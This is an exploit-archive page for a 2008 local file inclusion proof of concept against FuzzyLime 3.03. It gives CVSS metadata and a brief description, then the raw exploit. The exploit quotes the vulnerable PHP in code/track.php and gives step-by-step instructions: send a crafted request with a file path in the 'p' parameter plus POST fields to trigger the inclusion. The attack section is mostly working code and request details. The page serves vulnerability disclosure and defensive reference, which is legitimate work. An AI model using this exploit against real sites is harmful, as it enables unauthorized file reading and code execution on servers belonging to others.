FuzzyLime 3.03 Local File Iclude PoC

vendor:

FuzzyLime 3.03

by:

Alfons Luja

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: FuzzyLime 3.03

Affected Version From: 03.03

Affected Version To: 03.03

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

FuzzyLime 3.03 Local File Iclude PoC

The vulnerability exists due to insufficient filtration of user-supplied input passed via the 'p' parameter to '/code/track.php' script. A remote attacker can send a specially crafted HTTP request with malicious 'p' parameter value and execute arbitrary PHP code on the vulnerable system.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability.

Source

Exploit-DB raw data:

/*
--+_---=+--=_____=+++++

-- FuzzyLime 3.03 Local File Iclude PoC 
    ***
   (-0-)
  -____======_+++++---''''
***************************************__________________
-- Vuln 
 - code/track.php
   
  $m = $_GET[m];
  $p = $_GET[p]; //1 
  include "settings.inc.php";
  if(!isset($_POST[url]) || !isset($_POST[title]) || !isset($_POST[excerpt])) { //2
	header("Location: ${rooturl}index.php?s=news&p=$p&m=$m");
  }
  else {
    if(file_exists("../blogs/$p.inc.php")) { //3
	 include "../blogs/$p.inc.php";     //4 
   ...
1 $p is not filtered 
2 When POST'S is set 
3 and file exists
4 we have lfi

---+++++....--___________--============
*/


Go to LIVE_HTTP_HEADERS in firefox or opera or whatever
set url  http://site/path/code/track.php?p=[file] 
set "SEND POST CONNTENT"  url=evil&title=666&excerpt=xd
and push reply 
 
//Alfons Luja  25.12.2008

# milw0rm.com [2008-11-25]